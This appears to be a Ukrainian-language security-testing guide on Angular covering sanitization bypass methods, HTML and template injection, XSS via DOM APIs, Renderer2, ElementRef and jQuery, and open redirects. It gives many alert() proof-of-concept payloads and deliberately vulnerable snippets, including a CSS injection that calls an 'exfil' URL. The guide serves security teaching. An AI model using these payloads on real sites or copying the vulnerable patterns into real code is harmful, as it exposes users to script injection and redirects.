Angular

The Checklist

Checklist from here.

What is Angular

Angular є потужним та відкритим фреймворком для фронтенду, який підтримується Google. Він використовує TypeScript для покращення читабельності коду та налагодження. Завдяки сильним механізмам безпеки, Angular запобігає поширеним вразливостям на стороні клієнта, таким як XSS та відкриті редиректи. Його також можна використовувати на стороні сервера, що робить питання безпеки важливими з обох сторін.

Framework architecture

Щоб краще зрозуміти основи Angular, давайте розглянемо його основні концепції.

Звичайний проект Angular зазвичай виглядає так:

my-workspace/
├── ... #workspace-wide configuration files
├── src
   ├── app
      ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
      ├── app.component.ts #defines the logic for the application's root component
      ├── app.component.html #defines the HTML template associated with the root component
      ├── app.component.css #defines the base CSS stylesheet for the root component
      ├── app.component.spec.ts #defines a unit test for the root component
      └── app-routing.module.ts #provides routing capability for the application
   ├── lib
      └── src #library-specific configuration files
   ├── index.html #main HTML page, where the component will be rendered in
   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Згідно з документацією, кожен Angular додаток має принаймні один компонент, кореневий компонент (AppComponent), який з'єднує ієрархію компонентів з DOM. Кожен компонент визначає клас, який містить дані та логіку додатку, і асоційований з HTML шаблоном, який визначає вигляд, що має бути відображений у цільовому середовищі. Декоратор @Component() ідентифікує клас безпосередньо під ним як компонент і надає шаблон та відповідну специфічну метадані компонента. AppComponent визначено у файлі app.component.ts.

Angular NgModules оголошують контекст компіляції для набору компонентів, який присвячений домену додатку, робочому процесу або тісно пов'язаному набору можливостей. Кожен Angular додаток має кореневий модуль, звичайно названий AppModule, який надає механізм завантаження, що запускає додаток. Додаток зазвичай містить багато функціональних модулів. AppModule визначено у файлі app.module.ts.

NgModule Angular Router надає сервіс, який дозволяє вам визначити навігаційний шлях серед різних станів додатку та ієрархій виглядів у вашому додатку. RouterModule визначено у файлі app-routing.module.ts.

Для даних або логіки, які не пов'язані з конкретним виглядом і які ви хочете поділитися між компонентами, ви створюєте клас сервісу. Визначення класу сервісу безпосередньо передує декоратору @Injectable(). Декоратор надає метадані, які дозволяють іншим провайдерам бути впровадженими як залежності у ваш клас. Впровадження залежностей (DI) дозволяє вам зберігати ваші класи компонентів стрункими та ефективними. Вони не отримують дані з сервера, не перевіряють введення користувача і не ведуть безпосередній лог до консолі; вони делегують такі завдання сервісам.

Налаштування sourcemap

Фреймворк Angular перекладає файли TypeScript у JavaScript код, дотримуючись параметрів tsconfig.json, а потім будує проект з конфігурацією angular.json. Розглядаючи файл angular.json, ми спостерігали опцію для увімкнення або вимкнення sourcemap. Згідно з документацією Angular, за замовчуванням конфігурація має файл sourcemap, увімкнений для скриптів, і за замовчуванням не прихований:

"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Загалом, файли sourcemap використовуються для налагодження, оскільки вони відображають згенеровані файли на їх оригінальні файли. Тому не рекомендується використовувати їх у виробничому середовищі. Якщо sourcemaps увімкнено, це покращує читабельність і допомагає в аналізі файлів, відтворюючи оригінальний стан проекту Angular. Однак, якщо вони вимкнені, рецензент все ще може вручну проаналізувати скомпільований JavaScript файл, шукаючи антибезпекові шаблони.

Крім того, скомпільований JavaScript файл з проектом Angular можна знайти в інструментах розробника браузера → Sources (або Debugger і Sources) → [id].main.js. Залежно від увімкнених опцій, цей файл може містити наступний рядок в кінці //# sourceMappingURL=[id].main.js.map або може не містити, якщо опція hidden встановлена на true. Проте, якщо sourcemap вимкнено для scripts, тестування стає більш складним, і ми не можемо отримати файл. Крім того, sourcemap може бути увімкнено під час збірки проекту, наприклад, ng build --source-map.

Прив'язка даних

Прив'язка відноситься до процесу комунікації між компонентом і відповідним виглядом. Вона використовується для передачі даних до та з фреймворку Angular. Дані можуть передаватися різними способами, такими як через події, інтерполяцію, властивості або через механізм двосторонньої прив'язки. Крім того, дані також можуть бути спільними між пов'язаними компонентами (відношення батька і дитини) та між двома несумісними компонентами за допомогою функції Service.

Ми можемо класифікувати прив'язку за потоком даних:

  • Джерело даних до цільового вигляду (включає інтерполяцію, властивості, атрибути, класи та стилі); може бути застосовано за допомогою [] або {{}} у шаблоні;

  • Цільовий вигляд до джерела даних (включає події); може бути застосовано за допомогою () у шаблоні;

  • Двостороння; може бути застосовано за допомогою [()] у шаблоні.

Прив'язка може бути викликана на властивостях, подіях і атрибутах, а також на будь-якому публічному члені директиви джерела:

TYPE
TARGET
EXAMPLES

Property

Властивість елемента, Властивість компонента, Властивість директиви

<img [alt]="hero.name" [src]="heroImageUrl">

Event

Подія елемента, Подія компонента, Подія директиви

<button type="button" (click)="onSave()">Save

Two-way

Подія та властивість

<input [(ngModel)]="name">

Attribute

Атрибут (виняток)

<button type="button" [attr.aria-label]="help">help

Class

Властивість класу

<div [class.special]="isSpecial">Special

Style

Властивість стилю

<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Модель безпеки Angular

Дизайн Angular включає кодування або санітизацію всіх даних за замовчуванням, що ускладнює виявлення та експлуатацію вразливостей XSS у проектах Angular. Існує два різних сценарії обробки даних:

  1. Інтерполяція або {{user_input}} - виконує контекстно-залежне кодування та інтерпретує введення користувача як текст;

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Результат: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Прив'язка до властивостей, атрибутів, класів і стилів або [attribute]="user_input" - виконує санітизацію на основі наданого контексту безпеки.

//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Результат: <div><h1>test</h1></div>

Існує 6 типів SecurityContext :

  • None;

  • HTML використовується, коли інтерпретується значення як HTML;

  • STYLE використовується, коли прив'язується CSS до властивості style;

  • URL використовується для URL властивостей, таких як <a href>;

  • SCRIPT використовується для JavaScript коду;

  • RESOURCE_URL як URL, який завантажується та виконується як код, наприклад, у <script src>.

Вразливості

Обхід методів безпеки

Angular вводить список методів для обходу свого стандартного процесу санітизації та для вказівки, що значення може бути використане безпечно в конкретному контексті, як у наступних п'яти прикладах:

  1. bypassSecurityTrustUrl використовується для вказівки, що дане значення є безпечним стилем URL:

//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Click me</a>

//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
  1. bypassSecurityTrustResourceUrl використовується для вказівки, що дане значення є безпечним ресурсом URL:

//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml використовується для вказівки, що дане значення є безпечним HTML. Зверніть увагу, що вставка елементів script у дерево DOM таким чином не призведе до виконання вкладеного JavaScript коду, через те, як ці елементи додаються до дерева DOM.

//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//result
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript використовується для вказівки, що дане значення є безпечним JavaScript. Однак, ми виявили, що його поведінка є непередбачуваною, оскільки ми не змогли виконати JS код у шаблонах, використовуючи цей метод.

//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//result
-
  1. bypassSecurityTrustStyle використовується для вказівки, що дане значення є безпечним CSS. Наступний приклад ілюструє ін'єкцію CSS:

//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//result
Request URL: GET example.com/exfil/a

Angular надає метод sanitize для санітизації даних перед їх відображенням у виглядах. Цей метод використовує наданий контекст безпеки та очищає введення відповідно. Однак, важливо використовувати правильний контекст безпеки для конкретних даних і контексту. Наприклад, застосування санітайзера з SecurityContext.URL до HTML контенту не забезпечує захисту від небезпечних HTML значень. У таких сценаріях неправильне використання контексту безпеки може призвести до вразливостей XSS.

Ін'єкція HTML

Ця вразливість виникає, коли введення користувача прив'язується до будь-якої з трьох властивостей: innerHTML, outerHTML або iframe srcdoc. Хоча прив'язка до цих атрибутів інтерпретує HTML як є, введення очищається за допомогою SecurityContext.HTML. Таким чином, ін'єкція HTML можлива, але міжсайтове скриптування (XSS) неможливе.

Приклад використання innerHTML:

//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Результат - <div><h1>test</h1></div>.

Впровадження шаблонів

Візуалізація на стороні клієнта (CSR)

Angular використовує шаблони для динамічного створення сторінок. Цей підхід передбачає обгортання виразів шаблону для оцінки Angular у подвійні фігурні дужки ({{}}). Таким чином, фреймворк пропонує додаткову функціональність. Наприклад, шаблон {{1+1}} відобразиться як 2.

Зазвичай Angular екранує введення користувача, яке може бути сплутане з виразами шаблону (наприклад, символи такі як `< > ' " ``). Це означає, що для обходу цього обмеження потрібні додаткові кроки, такі як використання функцій, які генерують об'єкти рядків JavaScript, щоб уникнути використання заборонених символів. Однак, щоб досягти цього, ми повинні врахувати контекст Angular, його властивості та змінні. Тому атака впровадження шаблонів може виглядати наступним чином:

//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Як показано вище: constructor посилається на область дії властивості Object constructor, що дозволяє нам викликати конструктор String і виконувати довільний код.

Серверне рендеринг (SSR)

На відміну від CSR, який відбувається в DOM браузера, Angular Universal відповідає за SSR шаблонних файлів. Ці файли потім доставляються користувачу. Незважаючи на це відмінність, Angular Universal застосовує ті ж механізми санітизації, що використовуються в CSR, для підвищення безпеки SSR. Вразливість ін'єкції шаблону в SSR можна виявити так само, як і в CSR, оскільки використовувана мова шаблонів є такою ж.

Звичайно, також існує можливість введення нових вразливостей ін'єкції шаблону при використанні сторонніх шаблонних движків, таких як Pug і Handlebars.

XSS

DOM інтерфейси

Як вже зазначалося, ми можемо безпосередньо отримати доступ до DOM, використовуючи інтерфейс Document. Якщо введення користувача не перевіряється заздалегідь, це може призвести до вразливостей міжсайтового скриптингу (XSS).

Ми використовували методи document.write() і document.createElement() в наведених нижче прикладах:

//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular класи

Є кілька класів, які можна використовувати для роботи з елементами DOM в Angular: ElementRef, Renderer2, Location та Document. Детальний опис останніх двох класів наведено в розділі Open redirects. Головна різниця між першими двома полягає в тому, що API Renderer2 забезпечує рівень абстракції між елементом DOM та кодом компонента, тоді як ElementRef просто містить посилання на елемент. Тому, згідно з документацією Angular, API ElementRef слід використовувати лише в крайньому випадку, коли потрібен прямий доступ до DOM.

  • ElementRef містить властивість nativeElement, яка може бути використана для маніпуляцій з елементами DOM. Однак неправильне використання nativeElement може призвести до вразливості XSS, як показано нижче:

//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Незважаючи на те, що Renderer2 надає API, який можна безпечно використовувати, навіть коли прямий доступ до рідних елементів не підтримується, він все ще має деякі недоліки в безпеці. З Renderer2 можна встановлювати атрибути на HTML-елементі за допомогою методу setAttribute(), який не має механізмів запобігання XSS.

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Щоб встановити властивість елемента DOM, ви можете використовувати метод Renderer2.setProperty() і спровокувати атаку XSS:

//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Під час нашого дослідження ми також вивчили поведінку інших методів Renderer2, таких як setStyle(), createComment() та setValue(), у відношенні до XSS та CSS-ін'єкцій. Однак ми не змогли знайти жодних дійсних векторів атак для цих методів через їх функціональні обмеження.

jQuery

jQuery - це швидка, маленька та багатофункціональна бібліотека JavaScript, яка може бути використана в проекті Angular для допомоги в маніпуляціях з HTML DOM об'єктами. Однак, як відомо, методи цієї бібліотеки можуть бути використані для досягнення вразливості XSS. Щоб обговорити, як деякі вразливі методи jQuery можуть бути використані в проектах Angular, ми додали цей підрозділ.

  • Метод html() отримує HTML вміст першого елемента в наборі відповідних елементів або встановлює HTML вміст кожного відповідного елемента. Однак за дизайном будь-який конструктор або метод jQuery, який приймає HTML рядок, може потенційно виконувати код. Це може статися через ін'єкцію тегів <script> або використання HTML атрибутів, які виконують код, як показано в прикладі.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • Метод jQuery.parseHTML() використовує рідні методи для перетворення рядка в набір DOM вузлів, які потім можуть бути вставлені в документ.

jQuery.parseHTML(data [, context ] [, keepScripts ])

Як вже згадувалося, більшість API jQuery, які приймають HTML рядки, виконуватимуть скрипти, які включені в HTML. Метод jQuery.parseHTML() не виконує скрипти в розібраному HTML, якщо keepScripts явно не встановлено в true. Однак у більшості середовищ все ще можливо виконати скрипти непрямо; наприклад, через атрибут <img onerror>.

//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOM інтерфейси

Згідно з документацією W3C, об'єкти window.location та document.location розглядаються як псевдоніми в сучасних браузерах. Саме тому вони мають подібну реалізацію деяких методів і властивостей, що може призвести до відкритого редиректу та DOM XSS з атаками схеми javascript://, як зазначено нижче.

  • window.location.hrefdocument.location.href)

Канонічний спосіб отримати поточний об'єкт місцезнаходження DOM - це використання window.location. Його також можна використовувати для перенаправлення браузера на нову сторінку. В результаті контроль над цим об'єктом дозволяє нам експлуатувати вразливість відкритого редиректу.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Процес експлуатації ідентичний для наступних сценаріїв.

  • window.location.assign()document.location.assign())

Цей метод змушує вікно завантажувати та відображати документ за вказаною URL-адресою. Якщо ми контролюємо цей метод, це може бути джерелом атаки відкритого редиректу.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()document.location.replace())

Цей метод замінює поточний ресурс на той, що за вказаною URL-адресою.

Це відрізняється від методу assign(), оскільки після використання window.location.replace() поточна сторінка не буде збережена в історії сеансу. Однак також можливо експлуатувати вразливість відкритого редиректу, коли ми контролюємо цей метод.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

Метод window.open() приймає URL-адресу та завантажує ресурс, який він ідентифікує, у новій або існуючій вкладці чи вікні. Контроль над цим методом також може бути можливістю спровокувати вразливість XSS або відкритого редиректу.

//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular класи

  • Згідно з документацією Angular, Angular Document є тим же, що й документ DOM, що означає, що можна використовувати загальні вектори для документа DOM для експлуатації вразливостей на стороні клієнта в Angular. Властивості та методи Document.location можуть бути джерелами успішних атак відкритого редиректу, як показано в прикладі:

//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Під час дослідження ми також переглянули клас Angular Location на предмет вразливостей відкритого редиректу, але жодних дійсних векторів не було знайдено. Location - це сервіс Angular, який програми можуть використовувати для взаємодії з поточною URL-адресою браузера. Цей сервіс має кілька методів для маніпуляції з даною URL-адресою - go(), replaceState() та prepareExternalUrl(). Однак ми не можемо використовувати їх для редиректу на зовнішній домен. Наприклад:

//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Результат: http://localhost:4200/http://google.com/about

  • Клас Angular Router в основному використовується для навігації в межах одного домену і не вводить жодних додаткових вразливостей у додаток:

//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Результат: http://localhost:4200/https:

Наступні методи також навігують в межах домену:

const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Посилання

Last updated